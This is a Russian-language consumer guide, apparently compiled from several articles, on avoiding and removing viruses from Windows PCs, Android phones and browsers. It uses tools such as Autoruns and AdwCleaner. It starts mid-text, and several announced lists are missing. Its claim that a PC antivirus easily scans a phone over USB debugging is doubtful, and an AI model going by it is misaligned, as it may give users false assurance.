То же касается и других сообщений. Гиперссылки на доске объявлений, в сообщениях на Facebook или в личной переписке также могут перенести вас на страницу с вирусом. Обратите внимание на отправителя письма. Ищите любые странности, такие, как ошибки в письме или странные формулировки. Если с адреса знакомого вам человека начинают посылать подозрительные ссылки, то стоит сообщить ему об этом – вполне может стать так, что его аккаунт взломали.
Не заходите на подозрительные веб-сайты. Это касается самых разных ресурсов, начиная со скачивания ПО, музыки и заканчивая пиратским видео и порно. Многие из современных веб-браузеров предупредят вас, если вы попытаетесь перейти на предположительно вредоносный сайт. Обращайте особое внимание на подобные предупреждения и держитесь подальше от таких сайтов.
Обращайте особое внимание на любые окна, которые открываются в момент просмотра веб-страниц. Будьте особенно осторожны, если сайт выводит вам уведомление о том, что вам нужно загрузить последний видеодрайвер, чтобы что-то посмотреть. Это обычный способ распространения вредоносного ПО.
Запускайте антивирусную программу хотя бы раз в неделю. Кроме того, регулярно обновляйте антивирус и вашу операционную систему. Большинство обновлений антивирусного ПО выходят не реже одного раза в неделю, так как фирма добавляет большее количество обнаруженных вирусов в свои базы данных.
Правила, позволяющие избежать заражения вирусом, могут показаться непростыми и требующими слишком большИх усилий, но проще придерживаться этих правил, чем пытаться спасти поврежденный вирусом компьютер.
В худшем случае
Если вы не можете удалить вирус вне зависимости от того, какой метод вы пробовали, возможно, пришло время смириться и выполнить полную очистку системы, включающую форматирование жесткого диска и перезагрузку операционной системы. Подобное действие удалит всю вашу информацию, поэтому перед этим обязательно сохраните резервные копии любых важных файлов без вирусов.
Проблема безопасности мобильных устройств — одна из самых актуальных на сегодняшний день. Возникает множество вопросов по поводу защиты персональных данных на Вашем телефоне. Не все могут найти на них ответ. Большинство вредоносных программ – это реклама и баннеры, но даже среди них встречаются и крайне неприятные вирусы, цель которых - выкачивать деньги с мобильного счета, делать покупки и переводы с Вашей банковской карты, привязанной к учётной записи, а также копировать Вашу персональную информацию: контакты, фото, видео, SMS – сообщения. Так как удалить вирус с телефона? Для начала разберемся, как понять, что устройство заражено:
- Появляются рекламные баннеры. Это рекламный вирус. Объявления, оповещения приходят на рабочий стол, в браузере даже тогда, когда вы не онлайн.
- Смартфон самостоятельно скачивает и устанавливает приложения.
- Материалы на карте или во внутреннем хранилище недоступны: повреждены или удалены.
- Некоторые приложения работают неправильно, «вылетают», самопроизвольно закрываются.
- Телефон перегревается и быстро разряжается.
- Появились смс-рассылки на незнакомые номера, реклама. Это смс-вирус, который опасен возможной утечкой личных данных.
В статье описаны советы как правильно удалить вирус с Андроида и не только. Разберем несколько вариантов.
Проверка антивирусом
Сканирование смартфона через компьютер
Ни для кого не секрет, что вирусы, поражающие операционную систему ПК намного разнообразнее и опаснее, чем их «младшие братья» на андроиде. Вспомним тот же самый вирус Petya, который поразил корпоративные компьютеры по всему миру и нанес огромный ущерб управляющим компаниям. Именно из-за таких моментов, антивирусы, защищающие Ваш ПК, намного мощнее и продуктивнее. Чтобы проверить Ваше мобильное устройство с помощью антивируса ПК, в меню «Настройки» поставьте флажок напротив пункта «Отладка USB». После подключите смартфон к компьютеру через USB – кабель и просканируйте антивирусом ПК. Несмотря на то, что мобильные вирусы имеют другой программный код, защитник на компьютере легко справится.
Удаление вируса вручную
Этот вариант удаления подразумевает под собой отслеживание вредоносного ПО через диспетчер запущенных приложений для определения зараженного файла. Для начала нужно перейти в меню «Настройки» и открыть «Диспетчер приложений». После этого найти вкладку «Запущенные приложения» и просмотреть, какие из них работают в данный момент.
Будьте осторожны! При использовании этого способа, возможно закрытие «здоровых» системных программ, что может привести к неправильной работе мобильной ОС. После того, как Вы нашли неизвестную программу, найдите корневую папку с зараженным файлом формата.apk и удалите его. После всех этих операций проведите перезагрузку устройства.
Удаление вируса с телефона Андроид в безопасном режиме
Иногда программа блокирует системные функции устройства и вредоносный файл не удаляется. Тогда нужно перейти в безопасный режим, в котором запускаются только системные приложения. Для этого:
- зажмите клавишу питания смартфона, пока не появится окно с предложением выключить устройство;
- нажмите долгим тапом на опцию «Отключить». Появится иконка «Перейти в безопасный режим»;
- ждите пока перезагрузится телефон;
- удалите приложения и файлы, которые раньше не могли убрать.
Возможность того, что деятельность удаленного вредного ПО возобновится, минимальна.
Откат к заводским настройкам
Если он не удаляется другими способами, этот способ удалить вирусы является самым последним и наиболее радикальным. При использовании отката к заводским настройкам, вся информация, что хранится на Вашем смартфоне, будет уничтожена, а телефон вернется в свой изначальный вид, в котором Вы его приобрели. Для того чтобы сохранить всю информацию, рекомендуем скопировать либо в облачное хранилище, либо на Ваш ПК. Такой вид борьбы самый простой и эффективный, а также подходит для «новичков».
Как не заразиться?
Невозможно на сто процентов защититься от зараженных файлов, но можно существенно оградить себя от возможного риска. Для этого стоит соблюдать несколько правил:
Вирусы на смартфоне удаляются довольно легко и быстро, но все же лучше избегать подобных ситуаций и придерживаться правил безопасности, перечисленных выше.
Поймали вирус в браузере, и теперь постоянно выскакивает реклама? Это ужасно раздражает. Да и вылечить браузер от вирусов не так-то просто. Их еще нужно найти, а многие современные антивирусы попросту не видят эту заразу. Собственно, поэтому у вас и появляются всплывающие окна, а также постоянно открываются рекламные страницы (например, Вулкан или других казино).
Так что делать, если браузер заражен вирусом? Найти и избавиться от него 🙂 . Специально для этого ниже приведено 6 эффективных способов, как удалить вирус из браузера. А в качестве бонуса – пару полезных советов о том, как защитить свой компьютер или ноутбук от повторного заражения.
Как понять, что браузер был заражен? Это можно увидеть по следующим симптомам:
Откуда в браузере появляются вирусы
Современные пользователи очень часто устанавливают игры, программы, расширения и вообще не смотрят, что именно ставят. Просто нажимают «Далее, далее, готово» – и вот еще один рекламный вирус незаметно пролез в вашу систему Windows. В результате появляются всплывающие окна, открываются рекламные страницы и пр.
И в 99% случаев виноват сам пользователь. Почему? Да потому, что обычно лечение браузера от вирусов требуется после:
Сюда же можно добавить отсутствие антивируса на ПК или ноутбуке. Конечно, от всех вирусов он вас не защитит, но некоторые все же обнаружит и удалит. А если думать головой и вручную проверять подозрительные файлы антивирусом, это поможет вам избежать многих проблем. В этом можете быть уверены.
Как почистить браузер от вирусов и рекламы
С причинами и симптомами вирусов разобрались, теперь перейдем к главному. Итак, как избавиться от рекламного вируса в браузере? Здесь все зависит от того, какую именно заразу вы словили. Впрочем, ниже приведена пошаговая инструкция, выполнив которую вы сможете вылечить браузер от различных рекламных вирусов.
Она является универсальной и подходит для любого интернет-браузера – Google Chrome, Opera, Mozilla Firefox, Yandex Browser, Microsoft Edge. Так что пользоваться ею могут все пользователи.
Итак, чтобы избавиться от вирусов в браузере, выполните следующие действия:
Запустите полную проверку ПК или ноутбука антивирусом
Проверьте дополнения в браузере
Некоторые расширения устанавливаются сами. Поэтому зайдите в браузер и проверьте, есть ли там дополнения, которые вы не ставили. Также рекомендуется удалить те из них, которыми не пользуетесь.
Проверьте установленные приложения
Чтобы открыть их, перейдите в Пуск – Панель управления – Программы и компоненты.
Иногда вредоносные модули устанавливаются как обычный софт (например, Webalta). Чтобы удалить вирус, запускающий рекламу в браузере, достаточно лишь найти его и удалить из этого списка.
Проверьте ярлык браузера
Если после его запуска сразу открывается страница Вулкана или другого рекламного сайта, то, скорее всего, проблема кроется в ярлыке. Иногда вирусы прописывают в свойствах ярлыка (в поле «Объект») адрес сайта, который и открывается при запуске браузера. Чтобы решить эту проблему, удалите ярлык и создайте новый.
Проверьте файл hosts
Также многие вирусы редактируют и этот файлик. В результате при открытии какого-то популярного веб-сайта открывается другой (внешне он выглядит так же, и разницы вы не заметите). А далее появляются сообщения с просьбой отправить смс, всплывающие окна, агрессивная реклама и т.д. Убрать этот рекламный вирус можно двумя способами. Первый – с помощью антивирусной утилиты AVZ. А второй – вручную. Для этого:
- Перейдите по пути C:\Windows\System32\drivers\etc.
- Откройте файл hosts через блокнот.
- Удалите лишние строчки. Нормальный файл hosts должен выглядеть следующим образом:
Программы для очистки браузера от вирусов
Также существуют специальные программы для удаления вирусов в браузере. Они видят то, что пропустили антивирусы и помогают избавиться от вредоносных рекламных модулей.
AdwCleaner
Первая отличная программа для очистки браузера от рекламы и вирусов – AdwCleaner (ссылка на оф. сайт).
Эта утилита выполнит быстрый поиск вирусов в браузере и найдет все рекламные тулбары, баннеры, вредоносные скрипты. Также умеет осуществлять очистку ярлыков, файлов и реестра.
Malwarebytes
Еще одна эффективная программа для чистки браузеров от вирусов. Быстро просканирует ПК или ноутбук и поможет избавиться от всплывающих окон и надоевшей рекламы (ссылка на оф. сайт).Ее возможностей более чем предостаточно, чтобы найти вирус в браузере и удалить его.
Защита браузера от рекламы и вирусов
И напоследок, как и обещал, приведу несколько полезных советов о том, как защитить браузер от вирусов:
- Установите на ноутбук или ПК антивирус. Можно бесплатный. Главное – не забывайте обновлять его (или включите автообновление). В половине случаев он поможет вам удалить вирус из браузера. А точнее – не допустить заражения. Рекомендую прочитать: .
- Установите программу для удаления рекламных вирусов. То, что пропустят антивирусы, заметят специальные утилиты вроде AdwCleaner или HitmanPRO. При таком сочетании ни одна зараза на ваш ПК просто не пролезет. А для собственного спокойствия периодически запускайте проверку браузера на вирусы (например, 1 раз в месяц).
- Установите расширение в браузере для блокировки рекламы. Это может быть Adblock или Adguard – на ваше усмотрение. А если захотите отключить рекламу на любимом сайте или блоге (чтобы поддержать его владельца материально), просто добавьте этот веб-ресурс в исключение.
И самое главное: думайте головой! Не загружайте подозрительные exe-файлы (особенно, если вам нужен фильм в формате avi или mkv), не переходите по неизвестным ссылкам, не заходите на сомнительные сайты.
Как говорится, самый лучший антивирус – тот, который сидит по ту сторону монитора 🙂 . То есть, пользователь. Если же вы будете нарушать вышеописанные правила, то никакой антивирус вам не поможет. В интернете нужно быть предельно осторожным – помните об этом!
Вместо выводов
На этом все. Теперь вы знаете, что делать, если в браузере вирус, а также массу способов удалить его. Но лучше все же не допускать заражения. И тогда никакие всплывающие окна, рекламные вкладки и баннеры не будут вас беспокоить.
Скачайте Autoruns. Это программа, созданная Microsoft TechNet, которая определяет процессы, запускаемые при загрузке системы. Так вы получите представление о том, что работает на вашем компьютере в настоящий момент.
- Скачав архив с программой, распакуйте его в легкодоступную папку, например, в C:\Autoruns.
- Запустите программу и посмотрите, как в ней отображаются службы и программы, запускаемые при загрузке Windows. Интерфейс программы довольно сложный, но вам необходимо сосредоточиться только на некоторых областях в окне программы.
Настройте программу. Чтобы вам было легче найти вредоносный код, исключите службы Microsoft и включите проверку тех мест, которые обычно не сканируются. Для этого нажмите «Настройки» – «Настройки фильтра». Включите следующие опции:
- «Включать пустые локации»
- «Проверять подписи кода»
- «Скрывать элементы с цифровой подписью Microsoft»
Загрузите компьютер в безопасном режиме с поддержкой сетевых драйверов. Большинство вирусов запускаются при загрузке Windows за счет прикрепления к системным службам. Поэтому загрузите компьютер в безопасном режиме, в котором запускаются только самые необходимые службы, что поможет вам найти и обезвредить вирус.
- Безопасный режим с поддержкой сетевых драйверов (а не просто безопасный режим) позволит вам пользоваться интернетом для поиска программ.
Запустите программу Autoruns. Дважды проверьте правильность настроек фильтра программы. Дождитесь окончания сканирования (на это уйдет некоторое время).
Найдите подозрительные элементы. Это самый скучный этап, потому что вам придется проверять в сети каждый подозрительный элемент, чтобы убедиться, что он является или не является вредоносным кодом. Обратите внимание на имя элемента и его местоположение.
- В сети есть базы данных по многочисленным компьютерным процессам; такие базы помогут вам выяснить, является ли определенный процесс вирусом или нет. Популярными базами данных являются Process Library, Bleeping Computer, File.net.
- Сфокусируйтесь на вкладках «Вход в систему» и «Службы». При этом не стоит игнорировать другие вкладки, так как вирусы могут отображаться на этих вкладках.
- Не торопитесь. Избавление от нужного процесса может привести к сбоям в системе, поэтому дважды проверьте каждый подозрительный процесс, прежде чем отметить его для последующего удаления.
- Перед удалением вредоносного элемента запишите местоположение его файла. Позже вы найдете и удалите этот файл.
Удалите вредоносные элементы. Удостоверившись, что тот или иной элемент является вредоносным, щелкните по нему правой кнопкой мыши и выберите «Удалить». Это удалит элемент из автозагрузки, но не удалит вредоносный (зараженный) файл.
- Удалите вредоносный элемент, а затем удалите связанный с ним файл. Повторите этот процесс с каждым подозрительным элементом. Так вы не забудете удалять зараженные файлы.
Удалите файлы, связанные с удаленным элементом. Откройте проводник Windows и перейдите в папку, в которой хранится зараженный файл. Если вы не видите этот файл, .
- Удалите вредоносный элемент, а затем удалите связанный с ним файл. Повторите этот процесс с каждым подозрительным элементом.
